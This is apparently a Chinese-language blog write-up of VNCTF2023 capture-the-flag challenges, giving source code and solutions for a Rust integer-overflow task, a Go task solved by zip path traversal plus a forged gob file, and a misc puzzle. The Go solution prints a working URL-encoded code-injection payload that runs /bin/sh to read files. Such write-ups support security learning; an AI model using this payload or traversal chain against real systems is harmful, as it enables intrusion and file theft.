Web
象棋王子
直接f12,然后发现特殊字符,ctrl+c -------> 控制台 -----------> ctrl+v 回车后得到flag
电子木鱼
参考这篇文章:https://course.rs/basic/base-type/numbers.html
题目源码:
use actix_files::Files; use actix_web::{ error, get, post, web::{self, Json}, App, Error, HttpResponse, HttpServer, }; use once_cell::sync::Lazy; use serde::{Deserialize, Serialize}; use std::sync::{Arc, Mutex}; use tera::{Context, Tera}; static GONGDE: Lazy<ThreadLocker<i32>> = Lazy::new(|| ThreadLocker::from(0)); #[derive(Debug, Clone, Default)] struct ThreadLocker<T> { value: Arc<Mutex<T>>, } impl<T: Clone> ThreadLocker<T> { fn get(&self) -> T { let mutex = self.value.lock().unwrap(); mutex.clone() } fn set(&self, val: T) { let mut mutex = self.value.lock().unwrap(); *mutex = val; } fn from(val: T) -> ThreadLocker<T> { ThreadLocker::<T> { value: Arc::new(Mutex::new(val)), } } } #[derive(Serialize)] struct APIResult { success: bool, message: &'static str, } #[derive(Deserialize)] struct Info { name: String, quantity: i32, } #[derive(Debug, Copy, Clone, Serialize)] struct Payload { name: &'static str, cost: i32, } const PAYLOADS: &[Payload] = &[ Payload { name: "Cost", cost: 10, }, Payload { name: "Loan", cost: -1_000, }, Payload { name: "CCCCCost", cost: 500, }, Payload { name: "Donate", cost: 1, }, Payload { name: "Sleep", cost: 0, }, ]; #[get("/")] async fn index(tera: web::Data<Tera>) -> Result<HttpResponse, Error> { let mut context = Context::new(); context.insert("gongde", &GONGDE.get()); if GONGDE.get() > 1_000_000_000 { context.insert( "flag", &std::env::var("FLAG").unwrap_or_else(|_| "flag{test_flag}".to_string()), ); } match tera.render("index.html", &context) { Ok(body) => Ok(HttpResponse::Ok().body(body)), Err(err) => Err(error::ErrorInternalServerError(err)), } } #[get("/reset")] async fn reset() -> Json<APIResult> { GONGDE.set(0); web::Json(APIResult { success: true, message: "重开成功,继续挑战佛祖吧", }) } #[post("/upgrade")] async fn upgrade(body: web::Form<Info>) -> Json<APIResult> { if GONGDE.get() < 0 { return web::Json(APIResult { success: false, message: "功德都搞成负数了,佛祖对你很失望", }); } if body.quantity <= 0 { return web::Json(APIResult { success: false, message: "佛祖面前都敢作弊,真不怕遭报应啊", }); } if let Some(payload) = PAYLOADS.iter().find(|u| u.name == body.name) { let mut cost = payload.cost; if payload.name == "Donate" || payload.name == "Cost" { cost *= body.quantity; } if GONGDE.get() < cost as i32 { return web::Json(APIResult { success: false, message: "功德不足", }); } if cost != 0 { GONGDE.set(GONGDE.get() - cost as i32); } if payload.name == "Cost" { return web::Json(APIResult { success: true, message: "小扣一手功德", }); } else if payload.name == "CCCCCost" { return web::Json(APIResult { success: true, message: "功德都快扣没了,怎么睡得着的", }); } else if payload.name == "Loan" { return web::Json(APIResult { success: true, message: "我向佛祖许愿,佛祖借我功德,快说谢谢佛祖", }); } else if payload.name == "Donate" { return web::Json(APIResult { success: true, message: "好人有好报", }); } else if payload.name == "Sleep" { return web::Json(APIResult { success: true, message: "这是什么?床,睡一下", }); } } web::Json(APIResult { success: false, message: "禁止开摆", }) } #[actix_web::main] async fn main() -> std::io::Result<()> { let port = std::env::var("PORT") .unwrap_or_else(|_| "2333".to_string()) .parse() .expect("Invalid PORT"); println!("Listening on 0.0.0.0:{}", port); HttpServer::new(move || { let tera = match Tera::new("src/templates/**/*.html") { Ok(t) => t, Err(e) => { println!("Error: {}", e); ::std::process::exit(1); } }; App::new() .app_data(web::Data::new(tera)) .service(Files::new("/asset", "src/templates/asset/").prefer_utf8(true)) .service(index) .service(upgrade) .service(reset) }) .bind(("0.0.0.0", port))? .run() .await }
审计代码,发现使用Cost 会花费掉功德,且在下图所示地方进行计算
结合cost的类型为i32构造quantity的数值,造成溢出,当quantity=2000000000 时 得到flag
BabyGo
题目源码:
package main import ( "encoding/gob" "fmt" "github.com/PaulXu-cn/goeval" "github.com/duke-git/lancet/cryptor" "github.com/duke-git/lancet/fileutil" "github.com/duke-git/lancet/random" "github.com/gin-contrib/sessions" "github.com/gin-contrib/sessions/cookie" "github.com/gin-gonic/gin" "net/http" "os" "path/filepath" "strings" ) type User struct { Name string Path string Power string } func main() { r := gin.Default() store := cookie.NewStore(random.RandBytes(16)) r.Use(sessions.Sessions("session", store)) r.LoadHTMLGlob("template/*") r.GET("/", func(c *gin.Context) { userDir := "/tmp/" + cryptor.Md5String(c.ClientIP()+"VNCTF2023GoGoGo~") + "/" session := sessions.Default(c) session.Set("shallow", userDir) session.Save() fileutil.CreateDir(userDir) gobFile, _ := os.Create(userDir + "user.gob") user := User{Name: "ctfer", Path: userDir, Power: "low"} encoder := gob.NewEncoder(gobFile) encoder.Encode(user) if fileutil.IsExist(userDir) && fileutil.IsExist(userDir+"user.gob") { c.HTML(200, "index.html", gin.H{"message": "Your path: " + userDir}) return } c.HTML(500, "index.html", gin.H{"message": "failed to make user dir"}) }) r.GET("/upload", func(c *gin.Context) { c.HTML(200, "upload.html", gin.H{"message": "upload me!"}) }) r.POST("/upload", func(c *gin.Context) { session := sessions.Default(c) if session.Get("shallow") == nil { c.Redirect(http.StatusFound, "/") } userUploadDir := session.Get("shallow").(string) + "uploads/" fileutil.CreateDir(userUploadDir) file, err := c.FormFile("file") if err != nil { c.HTML(500, "upload.html", gin.H{"message": "no file upload"}) return } ext := file.Filename[strings.LastIndex(file.Filename, "."):] if ext == ".gob" || ext == ".go" { c.HTML(500, "upload.html", gin.H{"message": "Hacker!"}) return } filename := userUploadDir + file.Filename if fileutil.IsExist(filename) { fileutil.RemoveFile(filename) } err = c.SaveUploadedFile(file, filename) if err != nil { c.HTML(500, "upload.html", gin.H{"message": "failed to save file"}) return } c.HTML(200, "upload.html", gin.H{"message": "file saved to " + filename}) }) r.GET("/unzip", func(c *gin.Context) { session := sessions.Default(c) if session.Get("shallow") == nil { c.Redirect(http.StatusFound, "/") } userUploadDir := session.Get("shallow").(string) + "uploads/" files, _ := fileutil.ListFileNames(userUploadDir) destPath := filepath.Clean(userUploadDir + c.Query("path")) for _, file := range files { if fileutil.MiMeType(userUploadDir+file) == "application/zip" { err := fileutil.UnZip(userUploadDir+file, destPath) if err != nil { c.HTML(200, "zip.html", gin.H{"message": "failed to unzip file"}) return } fileutil.RemoveFile(userUploadDir + file) } } c.HTML(200, "zip.html", gin.H{"message": "success unzip"}) }) r.GET("/backdoor", func(c *gin.Context) { session := sessions.Default(c) if session.Get("shallow") == nil { c.Redirect(http.StatusFound, "/") } userDir := session.Get("shallow").(string) if fileutil.IsExist(userDir + "user.gob") { file, _ := os.Open(userDir + "user.gob") decoder := gob.NewDecoder(file) var ctfer User decoder.Decode(&ctfer) if ctfer.Power == "admin" { eval, err := goeval.Eval("", "fmt.Println(\"Good\")", c.DefaultQuery("pkg", "fmt")) if err != nil { fmt.Println(err) } c.HTML(200, "backdoor.html", gin.H{"message": string(eval)}) return } else { c.HTML(200, "backdoor.html", gin.H{"message": "low power"}) return } } else { c.HTML(500, "backdoor.html", gin.H{"message": "no such user gob"}) return } }) r.Run(":80") }审计代码过程,在路径/upload下我们可以知道禁止上传了
.gob
和.go
文件
审计/unzip路径,我们可以知道这里把上传的.zip
文件进行解压,关键点在下图所示
![](/i/l/?n=23&i=blog/2842002/202302/2842002-20230218213803161-184395711.png)
.zip
文件后,解压文件存放的位置。这里存在filepath.Clean函数,查阅资料发现可以类似目录穿越
相关资料链接:https://blog.csdn.net/weixin_45011728/article/details/96615369
进行审计/backdoor路径,关键点如下图所示:
![](/i/l/?n=23&i=blog/2842002/202302/2842002-20230218214021904-1702514364.png)
这里打开一个user.go
的文件,调用了gob.NewDecoder函数,查阅资料发现gob文件为go的二进制文件,相关链接如下:http://c.biancheng.net/view/4563.html
//user.go package main import ( "encoding/gob" "fmt" "os" ) type User struct { Name string Path string Power string } func main(){ userDir := "/tmp/bd79ef7e97e0846c1b876078b346ad18/" //自己docker起后的路径 user := User{Name: "ctfer", Path: userDir, Power: "admin"} file, err := os.Create("./user.gob") if err != nil { fmt.Println("文件创建失败", err.Error()) return } defer file.Close() encoder := gob.NewEncoder(file) err = encoder.Encode(user) if err != nil { fmt.Println("编码错误", err.Error()) return } else { fmt.Println("编码成功") } }运行上面user.go文件得到user.gob文件 2. 在/unzip路径下,使用payload如下:
/unzip?path=../../../tmp/bd79ef7e97e0846c1b876078b346ad18/
3. 访问/backdoor,返回Good则上述步骤成功
4. 在/backdoor下,使用下面payload:
/backdoor?pkg=os/exec"%0A"fmt")%0Afunc%09init()%7B%0Acmd:=exec.Command("/bin/sh","-c","cat${IFS}/f*")%0Ares,err:=cmd.CombinedOutput()%0Afmt.Println(err)%0Afmt.Println(res)%0A}%0Aconst(%0AMessage="fmt
payload的构造参考上述给的链接
5. 得到返回结果:
6. python脚本解码得到flag:flag{b9dd39fb-76b9-4b90-888c-833d81bbcdac}
Misc
验证码
把图片数字提取出来,使用该网站解密即可:https://tuppers-formula.ovh/![](/i/l/?n=23&i=blog/2842002/202302/2842002-20230218214812618-585184860.png)
得到flag:flag{MISC_COOL!!}
标签:VNCTF,err,WP,gob,html,user,file,2023,gin From: https://www.cnblogs.com/nLesxw/p/VNCTF2023.html